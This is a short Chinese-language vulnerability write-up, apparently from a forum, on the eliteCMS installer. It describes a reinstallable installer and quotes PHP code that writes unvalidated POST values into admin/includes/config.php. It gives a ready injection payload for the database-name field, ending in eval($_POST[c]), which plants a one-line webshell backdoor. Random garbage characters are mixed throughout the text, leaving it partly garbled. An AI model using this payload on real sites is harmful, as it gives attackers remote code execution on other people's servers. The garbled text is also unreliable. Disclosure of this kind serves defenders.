eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装& m" W7 s$ _- \: h! `
! @3 k& Z/ {1 K2 b) a, J% F
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
. q9 ?1 |! ~5 K& V我们来看代码: l- F' b% g$ w" N, ^
^& f' Z# H8 h' C
...
% A; Z" z4 a9 T8 relseif ($_GET['step'] == "4") {2 A0 l+ a& ^* G5 \" h N m; S
$file = "../admin/includes/config.php";8 Z e4 J3 H" m! J5 ?1 ]& a# S n2 A
$write = "<?php\n";0 [3 }: b i3 c9 R8 k% C+ ?/ H( U
$write .= "/**\n";
- H+ l6 P& o/ D( P' C$ C2 u4 I $write .= "*\n";3 A+ @" b$ N! v* V$ _2 Q
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
+ L: v2 R0 T, }- ]- g7 H...略...
5 l: L/ O6 V# Z w $write .= "*\n";' r* M9 C/ ^6 Y+ h
$write .= "*/\n";' }2 K4 n% G' x. _/ \; v W/ E4 r7 T
$write .= "\n";
5 N5 B a) u7 J+ b $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";- J: l' K. k( d- u0 f: {' ]2 i
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
3 n7 {9 q/ g2 J3 V5 z% y $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! L2 T( Y% S. t; v8 J $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 v& j: Y3 f, y6 H2 P8 d& f $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";- \8 J. Y: G1 N0 K j& ~: _
$write .= "if (!\$connection) {\n";
% j5 Z1 f7 x" @9 g' g2 m $write .= " die(\"Database connection failed\" .mysql_error());\n";
; q5 e8 b6 |0 R9 R $write .= " \n";
+ e& q$ P3 _/ T $write .= "} \n";
1 @" I, ~$ i+ y; u $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";7 {3 J9 R% F9 e) t/ o. H
$write .= "if (!\$db_select) {\n";6 o, j0 _' S3 E! G. X0 C
$write .= " die(\"Database select failed\" .mysql_error());\n";
# w! J% E4 w6 j$ y# T4 v $write .= " \n";
) \, m! H) H0 Y" ]# w) U $write .= "} \n";' `5 d( F$ ~, J; o
$write .= "?>\n";
9 r7 A- U9 h6 H( X' D! @) J2 u
+ S; v% n* k6 G' n3 G" I/ R $writer = fopen($file, 'w');0 S$ S1 p3 b; i
...* B) F5 ~* T' R/ j& ?
) h& S. d% M# w7 H# Q) {在看代码:
7 f9 o: h8 _% D# Q
0 x0 g) i4 f4 O$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];* g8 f1 K6 e+ m: ]# k
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];6 F; P3 i) m$ |0 W4 Y) a+ a0 P
$_SESSION['DB_USER'] = $_POST['DB_USER'];8 C" {) p* c: S& a
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
- {9 j- {$ Y/ y ) T- ]2 K$ n. C1 j K9 o" V$ U+ S
取值未作任何验证
4 |0 k6 _$ {5 x9 s! z如果将数据库名POST数据:, [* K% b5 d9 w0 p# m2 i& g% p
# v3 K, ?1 T6 ?# m& s
"?><?php eval($_POST[c]);?><?php! b- B O! L' _: }* i9 {5 j8 e
" |! l, x7 v' R; s将导致一句话后门写入/admin/includes/config.php0 L7 s( H6 I! J6 `$ Z+ P
|